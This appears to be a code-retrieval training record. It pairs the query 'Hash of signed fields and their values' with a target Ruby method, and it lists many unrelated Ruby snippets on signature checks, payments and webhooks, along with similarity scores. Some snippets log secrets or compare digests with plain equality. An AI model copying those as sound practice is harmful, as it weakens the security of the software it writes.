"def signature_verify( doc )\n # 1. Figure out signature namespace prefix\n sig_ns, prefix = signature_namespace_and_prefix( doc )\n\n # 2.a Signer present?\n @signer_node = doc.xpath( \"//#{ namespace_prefix( doc, doc.root.namespace.href ) }:Signer\" )\n if @signer_node.size != 1\n @messages << \"#{ @signer_node.size == 0 ? 'No' : @signer_node.size } Signer node#{ @signer_node.size > 1 ? 's' : '' } found\"\n end\n\n # 2.b Signature present?\n @signature_node = doc.xpath( \"//#{ prefix }:Signature\", sig_ns )\n if @signature_node.size != 1\n @messages << \"#{ @signature_node.size == 0 ? 'No' : @signature_node.size } Signature node#{ @signature_node.size > 1 ? 's' : '' } found\"\n end\n\n # 2.c Abort if none or more than 1 Signer or Signature node\n return FALSE if ( @signer_node.size != 1 or @signature_node.size != 1 )\n\n # 3. Extract and check signer certs\n certs = extract_certs( doc, sig_ns, prefix )\n @crypto = DC_Signer_Crypto_Compliance.new( certs )\n\n if ! @crypto.valid?\n if ! @crypto.errors[ :pre_context ].empty?\n @crypto.errors[ :pre_context ].each do |e|\n @messages << e\n end\n return FALSE\n else\n # Compliance issues in the extracted certs.\n # List those errors but then try to continue anyway,\n # thus allowing for inspection of compliance issues and signature in context.\n @crypto.messages.each do |e|\n @messages << e\n end\n end\n else # cc is valid\n @messages << \"Certificate chain is complete and compliant (#{ @crypto.type })\"\n end\n\n # 3.a Might check here whether the signer chain is known, trustworthy etc.\n #\n # See 3 for @crypto validity hop-over\n #\n\n # 4. Get signer's public key\n pub_k = @crypto.context.first.public_key\n\n # 5. Check references and signature value\n @reference_digests_check = check_references( doc, sig_ns, prefix )\n @signature_value_check = check_signature_value( doc, sig_ns, prefix, pub_k )\n\n return TRUE\n end",
"def valid_signature?\n params['verifier'] == Digest::MD5.hexdigest([ params['id'], params['snuid'], params['currency'], Offerpal.secret_key ].join(':'))\n end",
"def signature_verify( doc )\n # 1. Figure out signature namespace prefix\n sig_ns, prefix = signature_namespace_and_prefix( doc )\n\n # 2.a Signer present?\n @signer_node = doc.xpath( \"//#{ namespace_prefix( doc, doc.root.namespace.href ) }:Signer\" )\n if @signer_node.size != 1\n @messages << \"#{ @signer_node.size == 0 ? 'No' : @signer_node.size } Signer node#{ @signer_node.size > 1 ? 's' : '' } found\"\n end\n\n # 2.b Signature present?\n @signature_node = doc.xpath( \"//#{ prefix }:Signature\", sig_ns )\n if @signature_node.size != 1\n @messages << \"#{ @signature_node.size == 0 ? 'No' : @signature_node.size } Signature node#{ @signature_node.size > 1 ? 's' : '' } found\"\n end\n\n # 2.c Abort if none or more than 1 Signer or Signature node\n return false if ( @signer_node.size != 1 or @signature_node.size != 1 )\n\n # 3. Extract and check signer certs\n certs = extract_certs( doc, sig_ns, prefix )\n @crypto = DC_Signer_Crypto_Compliance.new( certs )\n\n if ! @crypto.valid?\n if ! @crypto.errors[ :pre_context ].empty?\n @crypto.errors[ :pre_context ].each do |e|\n @messages << e\n end\n return false\n else\n # Compliance issues in the extracted certs.\n # List those errors but then try to continue anyway,\n # thus allowing for inspection of compliance issues and signature in context.\n @crypto.messages.each do |e|\n @messages << e\n end\n end\n else # cc is valid\n @messages << \"Certificate chain is complete and compliant (#{ @crypto.type })\"\n end\n\n # 3.a Might check here whether the signer chain is known, trustworthy etc.\n #\n # See 3 for @crypto validity hop-over\n #\n\n # 4. Get signer's public key\n pub_k = @crypto.context.first.public_key\n\n # 5. Check references and signature value\n @reference_digests_check = check_references( doc, sig_ns, prefix )\n @signature_value_check = check_signature_value( doc, sig_ns, prefix, pub_k )\n\n return true\n end",
"def verify\n response = @client.call :payment_verification, message: {\n 'MerchantID' => Zarinpal.configuration.merchant_id,\n 'Authority' => @authority,\n 'Amount' => @amount,\n }\n\n @response.validate(response.body)\n end",
"def verify_signature\n begin\n signature = OAuth::Signature.build(request) do |token, consumer_key|\n self.current_application = find_application_by_key(consumer_key)\n self.current_token = find_token(token)\n\n token_secret = self.current_token ? self.current_token.secret : nil\n app_secret = self.current_application ? self.current_application.secret : nil\n \n self.oauth_logger.debug \"Signature build: application-secret: #{app_secret}; token-secret: #{token_secret}\"\n \n [token_secret, app_secret]\n end\n # Rescue requests made with unacceptable signature methods. \n # OAuth::Signature.available_methods holds a Hash of acceptable\n # signature methods. Provide a sane error message to the Consumer.\n rescue OAuth::Signature::UnknownSignatureMethod => e\n throw :halt, render(\"Unknown Signature Method: #{e.message}. Accepts: #{OAuth::Signature.available_methods.keys.join(', ')}\", :status => 401, :layout => false)\n end\n \n if signature.verify\n remember_request(signature)\n else\n self.oauth_logger.debug(\"Signature verify fail: Base: #{signature.signature_base_string}. Signature: #{signature.signature}\")\n \n throw :halt, render(\"Invalid OAuth Request. Signature could not be verified. Base: #{signature.signature_base_string}. Signature: #{signature.signature}\", :status => 401, :layout => false)\n end\n end",
"def test_unsuccessful_amex_request\n @gateway.expects(:ssl_post).returns(failed_purchase_amex_response)\n\n assert response = @gateway.purchase(@amount, @amex_credit_card, @amex_options)\n assert_match %r{requeridos para pagos con AMEX}, response.message\n assert_failure response\n assert response.test?\n end",
"def verify_signature\n return_code, response = send_command(\"verify_signature\", token)\n return_code == \"200\"\n end",
"def verify_signature(signature, bytes, signer_public_key)\n signature = Validation.check_filled_array_argument!(signature)\n bytes = Validation.check_filled_array_argument!(bytes)\n signer_public_key = Validation.check_type_argument!(VirgilPublicKey, signer_public_key)\n\n begin\n native_algorithm = HashAlgorithm.convert_to_native(HashAlgorithm::SHA512)\n signer = Core::VirgilSigner.new(native_algorithm)\n signer.verify(bytes, signature, signer_public_key.raw_key)\n rescue StandardError => error\n raise VirgilCryptoException, error.message\n end\n\n end",
"def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), SECRET_TOKEN, payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\n end",
"def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), SECRET_TOKEN, payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\n end",
"def invalid?\n\t\treturn ( major.text.include?('Success') and minor.text.include?('IncorrectSignature') )\n\tend",
"def signature_is_valid?\n validate_signature(doc, certificate, :normal)\n end",
"def verify_webhook_signature\n their_signature_header = request.env['HTTP_X_GEOTIX_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, \"#{auth_token}#{@payload_raw}\")\n halt [401, \"Signatures don't match.\"] unless their_digest == our_digest\n end",
"def sign\n fail NotImplementedError\n end",
"def failed_purchase_response\n <<~RESPONSE\n {\n \"error\": {\n \"message\": \"The card number is invalid. Make sure the number entered matches your credit card.\",\n \"caused_by\": \"buyer\",\n \"param\": \"number\",\n \"type\": \"card_error\",\n \"code\": \"incorrect_number\"\n }\n }\n RESPONSE\n end",
"def verify_signature signature, data, chain, time = Time.now\n Gem.ensure_ssl_available\n cert_class = OpenSSL::X509::Certificate\n exc = Gem::Security::Exception\n chain ||= []\n\n chain = chain.map{ |str| cert_class.new(str) }\n signer, ch_len = chain[-1], chain.size\n opt = Gem::Security::OPT.merge(@opt)\n\n # make sure signature is valid\n if @verify_data\n # get digest algorithm (TODO: this should be configurable)\n dgst = opt[:dgst_algo]\n\n # verify the data signature (this is the most important part, so don't\n # screw it up :D)\n v = signer.public_key.verify(dgst.new, signature, data)\n raise exc, \"Invalid Gem Signature\" unless v\n\n # make sure the signer is valid\n if @verify_signer\n # make sure the signing cert is valid right now\n v = signer.check_validity(nil, time)\n raise exc, \"Invalid Signature: #{v[:desc]}\" unless v[:is_valid]\n end\n end\n\n # make sure the certificate chain is valid\n if @verify_chain\n # iterate down over the chain and verify each certificate against it's\n # issuer\n (ch_len - 1).downto(1) do |i|\n issuer, cert = chain[i - 1, 2]\n v = cert.check_validity(issuer, time)\n raise exc, \"%s: cert = '%s', error = '%s'\" % [\n 'Invalid Signing Chain', cert.subject, v[:desc]\n ] unless v[:is_valid]\n end\n\n # verify root of chain\n if @verify_root\n # make sure root is self-signed\n root = chain[0]\n raise exc, \"%s: %s (subject = '%s', issuer = '%s')\" % [\n 'Invalid Signing Chain Root',\n 'Subject does not match Issuer for Gem Signing Chain',\n root.subject.to_s,\n root.issuer.to_s,\n ] unless root.issuer.to_s == root.subject.to_s\n\n # make sure root is valid\n v = root.check_validity(root, time)\n raise exc, \"%s: cert = '%s', error = '%s'\" % [\n 'Invalid Signing Chain Root', root.subject, v[:desc]\n ] unless v[:is_valid]\n\n # verify that the chain root is trusted\n if @only_trusted\n # get digest algorithm, calculate checksum of root.subject\n algo = opt[:dgst_algo]\n path = Gem::Security::Policy.trusted_cert_path(root, opt)\n\n # check to make sure trusted path exists\n raise exc, \"%s: cert = '%s', error = '%s'\" % [\n 'Untrusted Signing Chain Root',\n root.subject.to_s,\n \"path \\\"#{path}\\\" does not exist\",\n ] unless File.exist?(path)\n\n # load calculate digest from saved cert file\n save_cert = OpenSSL::X509::Certificate.new(File.read(path))\n save_dgst = algo.digest(save_cert.public_key.to_s)\n\n # create digest of public key\n pkey_str = root.public_key.to_s\n cert_dgst = algo.digest(pkey_str)\n\n # now compare the two digests, raise exception\n # if they don't match\n raise exc, \"%s: %s (saved = '%s', root = '%s')\" % [\n 'Invalid Signing Chain Root',\n \"Saved checksum doesn't match root checksum\",\n save_dgst, cert_dgst,\n ] unless save_dgst == cert_dgst\n end\n end\n\n # return the signing chain\n chain.map { |cert| cert.subject }\n end\n end",
"def post_payment(order_details, merchant_id, amount, locale='en')\r\n dispatch('6',order_details, merchant_id, amount, locale) \r\n @message = get_payment_client_error('PaymentClient.Error') unless @no_error\r\n end",
"def test_credit_card_purchase_and_void_amount_not_specified\n assert purchase = @gateway.purchase(@amount, @credit_card, @options)\n assert_success purchase\n assert_equal 'Approved', purchase.message\n assert void = @gateway.void(nil, purchase.authorization, @credit_card, @options)\n assert_failure void\n assert_equal 'TRANSACTION AMOUNT IS REQUIRED', void.message\n end",
"def test_invalid_login\n gateway = SecurePayAuExtendedGateway.new(\n :login => '',\n :password => ''\n )\n assert response = gateway.purchase(@amount, @credit_card, @purchase_options)\n assert_failure response\n assert_equal \"Invalid merchant ID\", response.message\n end",
"def raise_unprocessable\n message = 'Unable to process submission digitally'\n claim.errors.add(:base, message, message: message)\n raise(Common::Exceptions::ValidationErrors, claim)\n end",
"def test_transaction_expired\n response = @gateway.setup_purchase(300, @options)\n\n # now try to authorize the payment, issuer simulator let the payment expire\n response = @gateway.capture(response.transaction['transactionID'])\n\n assert_failure response\n assert_equal 'Expired', response.transaction['status'], 'Transaction should expire'\n end",
"def payment_succeeded\n # log_hook_notification\n order_state_changed_to_paid\n\n render nothing: true, status: 200 # answer to API\n rescue MangoPay::ResponseError => ex\n log_error = ex.message\n rescue => ex\n log_error = ex.message\n ensure\n MangopayLog.create(event: \"payment_succeeded\",\n mangopay_answer: \"Mangopay HOOK - EventType: #{params['EventType']},\n RessourceId: #{params['RessourceId']},\n Date: #{params['Date']}\",\n user_id: @user.id.to_i,\n error_logs: log_error)\n end",
"def valid_signature?(signature, data)\n generate_signature(data) == signature\n end",
"def test_invalid_login\n gateway = PayuLatamGateway.new(merchant_id: '', account_id: '', api_login: 'U', api_key: 'U', payment_country: 'AR')\n response = gateway.purchase(@amount, @credit_card, @options)\n assert_failure response\n end",
"def validate(order)\n raise \"Total price is incorrect!\" if calculate_price != expected_price\n end",
"def call!\n verify!\n if valid?\n Receipt.new(@response)\n else\n VerificationFailure.new(Google::Apis::Error.new('Malformed response'))\n end\n rescue Google::Apis::Error => e\n VerificationFailure.new(e)\n end",
"def payment\n @invoice = BitcoinInvoice.find_by_notification_key(params[:id])\n #if @invoice.status != BitcoinInvoice::NEW\n # redirect_to root_path, :alert => 'Cannot pay more than once!' and return\n #end\n end",
"def error!\n # Unhandled exception\n if @exception\n exception_message\n exit 2\n # Some checksums did not match?\n elsif !(invalid_packages.empty? && invalid_metadata_files.empty?)\n error_message\n exit 2\n # We don't have checksums for some packages?\n elsif unverifiable_package_count != 0\n unverifiable_packages_message\n exit 2\n else\n success_message\n exit 0\n end\n end",
"def validate_signature\n\t\t::Rails.logger.debug \"--- Realizando comprobación de la firma con PSEIS ---\"\n\t\tdoc = Nokogiri::XML(xmlSigned)\n\t\tdoc.remove_namespaces!\n\t\t\n\t\tcert = doc.xpath('//X509Data/X509Certificate').first.inner_text\n\t\t\n\t\tmyValidation = PSISApi.new\n\t\tmyValidation.validate cert\n\t\treturn myValidation\n\tend",
"def payment\n @amount = 10.00\n @sim_transaction = AuthorizeNet::SIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], @amount, :hosted_payment_form => true)\n @sim_transaction.set_hosted_payment_receipt(AuthorizeNet::SIM::HostedReceiptPage.new(:link_method => AuthorizeNet::SIM::HostedReceiptPage::LinkMethod::GET, :link_text => 'Continue', :link_url => payments_thank_you_url(:only_path => false)))\n\n # @transaction = AuthorizeNet::AIM::Transaction.new(AUTHORIZE_NET_CONFIG['api_login_id'], AUTHORIZE_NET_CONFIG['api_transaction_key'], :gateway=>:sandbox)\n # credit_card = AuthorizeNet::CreditCard.new('4111111111111111', '1120')\n # @response = @transaction.purchase('10.00', credit_card)\n\n # if @response.success?\n # puts \"Successfully made a purchase (authorization code: #{response.authorization_code})\"\n # else\n # raise \"Failed to make purchase.\"\n # end\n end",
"def process_payment \n if params != nil \n @order =Checkout.new( \n :name => params[:name],\n :pay_method => params[:pay_method] ,\n :total_price => params[:total_price].to_i)\n end \n\n if not params[:pay_err]\n render :layout => \"paygate\" \n else\n # @err = params[:pay_err].force_encoding('utf-8')\n @error_code = params[:replycode] \n flash[:error] = @error_code\n redirect_to pay_url\n end \n end",
"def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), ENV['WEBHOOK_SECRET_TOKEN'], payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\nend",
"def message_signature(message)\n raise BTCError, \"Not implemented\"\n end",
"def payment_failed(user_id, subscription_id:, subscription_mrr:, subscription_value:, time_interval:)\n track(user_id, PaymentFailed.new(\n subscription_id: subscription_id,\n subscription_mrr: subscription_mrr,\n subscription_value: subscription_value,\n time_interval: time_interval \n ))\n end",
"def test_successful_3ds_validate_purchase_request\n assert response = @gateway.purchase(1202, @three_ds_enrolled_card, @options.merge(payer_auth_validate_service: true, pares: pares))\n assert_equal '100', response.params['reasonCode']\n assert_equal '0', response.params['authenticationResult']\n assert response.success?\n end",
"def payment_gateway_response_exception(payment_gateway_response, message = \"\")\n recipients \"payment_gateway@halomonitoring.com\"\n from \"no-reply@halomonitoring.com\"\n subject \"[\" + ServerInstance.current_host_short_string + \"]\" + \"Exception while creating a credit card transaction log\"\n body :response => payment_gateway_response, :message => message\n end",
"def verify(params, shared_secret = nil)\n their_sig = params.delete('merchantSig')\n raise ArgumentError, \"params must include 'merchantSig' for verification\" if their_sig.empty?\n our_sig = sign(params, shared_secret)['merchantSig']\n secure_compare(their_sig, our_sig)\n end",
"def signature_is_valid?\n node = @ar.at_css('xmlns|SignedInfo',\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#')\n\n node = node.canonicalize\n\n signature = @ar.at_css(\n 'xmlns|SignatureValue',\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#'\n ).content\n\n signature = Base64.decode64(signature)\n\n certificate.public_key.verify(OpenSSL::Digest::SHA1.new, signature, node)\n end",
"def valid?\n p = build_payment\n p.valid?\n end",
"def validate_required!\n raise UserMissing if user.nil?\n raise PaymentMissing if payment.nil? || !payment.valid?\n end",
"def response\n return format_response(:invalid, 'Transaction not found') unless exists?\n return format_response(:invalid, 'Security check failed') unless signature_ok?\n return format_response(:error, 'Sage Pay reported an error') if status == 'ERROR'\n return format_response(:invalid, 'Unexpected status') if %w{AUTHENTICATED REGISTERED}.include?(status)\n return format_response(:invalid, \"Invalid status: #{status}\") unless %w{OK NOTAUTHED ABORT REJECTED}.include?(status)\n format_response(:ok)\n end",
"def handle_paid_payment(payment)\n response = MangoPay::Withdrawal.create({\n 'UserID' => payment.recipient.mangopay_id,\n 'WalletID' => 0,\n 'BeneficiaryID' => payment.recipient.mangopay_beneficiary_id,\n 'Amount' => payment.total_sum.cents,\n 'Tag' => payment.id\n })\n\n puts \"WITHDRAWAL RESPONSE #{response.inspect}\"\n\n if response[\"ErrorCode\"]\n ApplicationHelper.send_error_notification(response[\"ErrorCode\"], \"MangopayWithdrawalError\", response)\n return false\n else\n return true\n end\n\n end",
"def webhook_error(code, body, payload, transaction, stack)\n @code = code\n @body = body\n @payload = payload\n @transaction = transaction\n @stack = stack\n mail(:to => stack.seller_email, :subject => \"Payly: Webhook error on #{stack.product_name}\")\n end",
"def create\n @signature = Signature.new(params[:signature])\n if current_resident\n @signature.signatory = current_resident\n elsif current_person\n @signature.signatory = current_person\n end\n\n respond_to do |format|\n if @signature.save\n format.html { \n if current_person.andand.has_not_signed_waivers?\n redirect_to waivers_path, notice: 'We received your signature. Please continue to sign the remaining waivers.'\n else\n redirect_to volunteer_introduction_url\n end\n }\n format.json { render json: @signature, status: :created, location: @signature }\n else\n format.html { render action: \"new\" }\n format.json { render json: @signature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def failedTransaction(transaction)\n\n if transaction.error.code != SKErrorPaymentCancelled && transaction.error.code != 0\n NSLog(\"Transaction failed with error: %@\", transaction.error.localizedDescription)\n\n NSNotificationCenter.defaultCenter.postNotificationName('IAPTransactionFailed',\n object:nil,\n userInfo: {\n :transaction => transaction })\n\n else\n NSLog('Transaction Cancelled.')\n\n NSNotificationCenter.defaultCenter.postNotificationName('IAPTransactionCancelled',\n object:nil,\n userInfo: {\n :transaction => transaction })\n\n\n end\n SKPaymentQueue.defaultQueue.finishTransaction(transaction)\n end",
"def check_signature\n signature == \"\\x2a\\x2a\\x00\\x00\"\n end",
"def test_failed_refund\n response = @gateway.refund(@amount, @invalid_txn)\n assert_failure response\n assert_equal 'Txn not found', response.message\n end",
"def test_failed_refund\n response = @gateway.refund(@amount, '')\n assert_failure response\n assert_equal 'PaymentDealer.DoCreateRefundRequest.OtherTrxCodeOrVirtualPosOrderIdMustGiven', response.message\n end",
"def validate_parameters\n r = validate_payment_nonce_uuid\n return r unless r.success?\n\n error_identifiers = []\n\n error_identifiers << 'invalid_first_name' if @first_name.present? &&\n (!Util::CommonValidateAndSanitize.is_string?(@first_name) || @first_name.length > 255)\n\n error_identifiers << 'invalid_last_name' if @last_name.present? &&\n (!Util::CommonValidateAndSanitize.is_string?(@last_name) || @last_name.length > 255)\n\n error_identifiers << 'invalid_company' if @company.present? &&\n (!Util::CommonValidateAndSanitize.is_string?(@company) || @company.length > 255)\n\n error_identifiers << 'invalid_email' if @email.present? &&\n (!Util::CommonValidateAndSanitize.is_valid_email?(@email))\n\n\n error_identifiers << 'invalid_phone' if @phone.present? &&\n (!Util::CommonValidateAndSanitize.is_string?(@phone) || @phone.length > 255)\n\n error_identifiers << 'invalid_fax' if @fax.present? &&\n (!Util::CommonValidateAndSanitize.is_string?(@fax) || @fax.length > 255)\n\n error_identifiers << 'invalid_website' if @website.present? &&\n (!Util::CommonValidateAndSanitize.is_valid_domain?(@website) || @website.length > 255)\n\n\n return error_with_identifier('invalid_api_params',\n 'ra_c_c_vp_1',\n error_identifiers\n ) if error_identifiers.present?\n\n @customer_details[:first_name] = @first_name if @first_name.present?\n @customer_details[:last_name] = @last_name if @last_name.present?\n @customer_details[:company] = @company if @company.present?\n @customer_details[:email] = @email if @email.present?\n @customer_details[:phone] = @phone if @phone.present?\n @customer_details[:fax] = @fax if @fax.present?\n @customer_details[:website] = @website if @website.present?\n\n success\n end",
"def finish_paypal!(_payer_id, token)\n return errors.add(:base, \"Invalid paypal payment token.\") && false if payment_token != token\n response = EXPRESS_GATEWAY.purchase(total_amount*100, {ip: payment_ip, token: payment_token, payer_id: _payer_id})\n unless response.success?\n Rails.logger.error \"********** Paypal Payment Error: #{response.inspect}\"\n errors.add(:base, response.message)\n else\n self.attributes = {payment_payer_id: _payer_id, payment_at: Time.current}\n end\n save\n end",
"def destroy\n if @payment.destroy\n head :no_content\n else\n render json: @payment.errors, status: :unprocessable_entity\n end\n end",
"def stripe_invoice_payment_failed(event, req)\n invoice = event['data']['object']\n # NOTE: If no next attempt we are on the last, subscription will be cancelled\n return false unless invoice['next_payment_attempt']\n # NOTE: Make sure we didn't misfire this hook\n return false if invoice['paid']\n dealership = dealer_dao.get_by_customer_id(invoice['customer'])\n customer = Stripe::Customer.retrieve(dealership.customer_id)\n attempt = case invoice['attempt_count']\n when 1 then '1st'\n when 2 then '2nd'\n when 3 then '3rd'\n end\n Lynr.producer('job').publish(Lynr::Queue::EmailJob.new('payment/charge_failed', {\n to: dealership.identity.email,\n subject: \"We couldn't process payment for your Lynr account\",\n base_url: req.base_url,\n attempt_count: attempt,\n last4: customer.active_card.last4,\n next_attempt: Time.at(invoice['next_payment_attempt']),\n support_email: Lynr.config('app').support_email,\n }))\n end",
"def unsuccessfully_charged(invoice, user)\n @subscription = invoice.lines.data.first\n @user = user\n @subscription_plan = @subscription.plan.name\n @subscription_amount = format_amount(invoice.total)\n \n # Mail invoice \n mail to: user.email, subject: \"Unsuccessful Payment - Grapevine Receipt\"\n end",
"def verify_signature(params = {})\n version = params[:version]\n webhook_secret = params[:webhook_secret]\n stringified_data = params[:stringified_data]\n request_timestamp = params[:request_timestamp]\n signature = params[:signature]\n\n signature_params = \"#{request_timestamp}.#{version}.#{stringified_data}\"\n digest = OpenSSL::Digest.new('sha256')\n signature_to_be_verified = OpenSSL::HMAC.hexdigest(digest, webhook_secret, signature_params)\n\n signature == signature_to_be_verified\n\n end",
"def is_validate_signature\n signature = request.headers[\"X-LINE-Signature\"]\n http_request_body = request.raw_post\n hash = OpenSSL::HMAC::digest(OpenSSL::Digest::SHA256.new, CHANNEL_SECRET, http_request_body)\n signature_answer = Base64.strict_encode64(hash)\n signature == signature_answer\n end",
"def is_validate_signature\n signature = request.headers[\"X-LINE-Signature\"]\n http_request_body = request.raw_post\n hash = OpenSSL::HMAC::digest(OpenSSL::Digest::SHA256.new, CHANNEL_SECRET, http_request_body)\n signature_answer = Base64.strict_encode64(hash)\n signature == signature_answer\n end",
"def paypal_errors_msg\n \"We are sorry, but the purchase was not completed due the following errors: #{errors.full_messages.join(', ')}\"\n end"
] |
[
"0.6430708",
"0.6408499",
"0.63765335",
"0.63765335",
"0.6338833",
"0.6285269",
"0.62163",
"0.6173898",
"0.6156996",
"0.6156",
"0.6154337",
"0.6149765",
"0.6119123",
"0.60408264",
"0.6018457",
"0.6007543",
"0.59854454",
"0.5972589",
"0.5922325",
"0.59147686",
"0.58895326",
"0.58766884",
"0.5829598",
"0.5822709",
"0.58126116",
"0.58114517",
"0.5777006",
"0.5760921",
"0.5749836",
"0.57495594",
"0.57141995",
"0.5709332",
"0.5696266",
"0.56332254",
"0.56312335",
"0.56214696",
"0.5619062",
"0.5618877",
"0.5614443",
"0.56022125",
"0.5598213",
"0.55943584",
"0.559035",
"0.5575503",
"0.55748105",
"0.5561832",
"0.5541029",
"0.5537579",
"0.5536325",
"0.55168205",
"0.55071497",
"0.55044526",
"0.5503466",
"0.5490682",
"0.5487284",
"0.5475101",
"0.5473865",
"0.5459162",
"0.5456245",
"0.5453726",
"0.5429522",
"0.54256606",
"0.5422628",
"0.54125136",
"0.54077035",
"0.5399549",
"0.5397072",
"0.539397",
"0.53926146",
"0.53915787",
"0.53849536",
"0.53846526",
"0.5371588",
"0.5368171",
"0.5366787",
"0.5365497",
"0.53588545",
"0.53569686",
"0.53363353",
"0.53173023",
"0.53132814",
"0.5306035",
"0.5300933",
"0.5297971",
"0.5293384",
"0.52902",
"0.52877456",
"0.5285364",
"0.5284",
"0.52820176",
"0.526999",
"0.52581215",
"0.5251097",
"0.5249298",
"0.5247492",
"0.52471596",
"0.5242824",
"0.5242417",
"0.5242417",
"0.5230393"
] |
0.75968474
|
0
|
Hash of signed fields and their values
|
def signed_data
@signed_data = @signed_fields.index_with { |field| @fields[field] }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_h\n signed_data.merge(unsigned_data).merge(signature: @signature)\n end",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def signature\n Digest::SHA256.hexdigest(@hash.to_json)\n end",
"def signed_field_names\n @signed_fields.join(',')\n end",
"def computed_signed_info\n \n llave = CFDI::Key.new @key, @password\n\n return Base64::encode64(llave.sign(OpenSSL::Digest::SHA1.new, CGI::unescapeHTML(self.canonicalized_signed_info.gsub('<TEST/>','').gsub(/\\n/, ''))))\n \n end",
"def signed_data\n @signed_data ||= @signed_fields.index_with { |field| send(field) }\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash\n shasum.hash\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash\n @vbits.hash\n end",
"def binary_hash\n [@hash].pack(\"H*\").reverse\n end",
"def makehash(body)\n signer = SSH::Key::Signer.new\n if @config.pluginconf[\"sshkey\"]\n signer.add_key_file(@config.pluginconf[\"sshkey\"])\n signer.use_agent = false\n end\n signatures = signer.sign(body).collect { |s| s.signature }\n return Marshal.dump(signatures)\n end",
"def fields_hash\n each_pair.to_h\n end",
"def hash(ts)\n sig = [\n Rackspace::Email::Api.configuration.user_key,\n Rackspace::Email::Api.configuration.user_agent,\n ts,\n Rackspace::Email::Api.configuration.api_key\n ].join('')\n\n Base64.encode64(Digest::SHA1.digest(sig))\n end",
"def hash_from_payload(payload)\n Digest::SHA256.digest(Digest::SHA256.digest( payload )).reverse.unpack(\"H*\")[0]\n end",
"def hash(*) end",
"def signed; end",
"def hash\n\n self.h.fei.hash\n end",
"def hash\n bytes.hash\n end",
"def signature\n EPDQ::ShaCalculator.new(full_parameters, EPDQ.sha_in, EPDQ.sha_type).signature\n end",
"def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end",
"def gnu_hash(s)\n s.bytes.reduce(5381) { |acc, elem| (acc * 33 + elem) & 0xffffffff }\n end",
"def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def public_key_hash(hex)\n\t\trmd160(sha256(hex))\n\tend",
"def index_signature\n Digest::SHA256.new(@gems.keys.sort.join(',')).to_s\n end",
"def hash\n self.to_f.hash\n end",
"def do_hash(input)\n a = OpenSSL::Digest.hexdigest(\"SHA224\", input).to_i % 19\n b = OpenSSL::Digest.hexdigest(\"SHA512\", input).to_i % 19\n [a, b]\n end",
"def hash\n [include_zero, max, min, scale].hash\n end",
"def hash\n h = @e.nil? ? 0 : @e\n h = (h << 1) ^ @r.hash\n h = (h << 1) ^ @v.hash\n end",
"def hash\n [amount.hash, currency.hash].hash\n end",
"def hash\n [amount.hash, currency.hash].hash\n end",
"def signature\n # Remove 'sha_sign' key from request params and concatenate all\n # key value pairs\n params = payload.to_h\n .reject { |key, value| key == :sha_sign }\n .reject { |key, value| value == '' || value == false }.sort\n .map { | key, value| \"#{key}=#{value}#{passphrase}\" }.join\n\n # Calculate SHA512 and upcase all letters, since Digistore will\n # also return upcased letters in the signature.\n Digest::SHA512.hexdigest(params).upcase\n end",
"def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"def hash_secure\n # TODO: implement this method\n # - Use sha256 from openssl to create a cryptographically secure hash.\n # - Credit cards with identical information should produce the same hash\n OpenSSL::Digest::SHA256.digest(to_s).unpack(\"H*\")\n end",
"def hexhash\n hash.to_s(16)\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def hash\n @hash || @hash = (value.hash * -1)\n end",
"def digest\n Digest::SHA1.hexdigest(@pub.to_der)\n end",
"def hash\n @orig.hash\n end",
"def hash\n @orig.hash\n end",
"def hash\n @orig.hash\n end",
"def to_sha256\n Tapyrus.sha256(to_payload).bth\n end",
"def sha256; end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def hash\n values.hash ^ known_data.hash\n end",
"def signature_fields\n parsed {\n @signature_fields\n }\n end",
"def hash\n self.class.hash ^ key_attributes.hash\n end",
"def hash\n keccak256(prefixed_message)\n end",
"def checksum\n Digest::SHA256.hexdigest(self.to_smash(:sorted).to_s)\n end",
"def hash\n keccak256(prefixed_message)\n end",
"def hash\n return name.hash ^ direction.hash ^ lhs.hash ^ rhs.hash\n end",
"def hash_secure\n sha256 = OpenSSL::Digest::SHA256.new\n enc64(sha256.digest)\n end",
"def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end",
"def hash_secure\n # TODO: Use sha256 from openssl to create a cryptographically secure hash.\n # Credit cards with identical information should produce the same hash.\n\n sha256 = OpenSSL::Digest::SHA256.new\n sha256.digest(self.to_s).unpack('h*')\nend",
"def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end",
"def hash\n 0\n end",
"def to_hash() end",
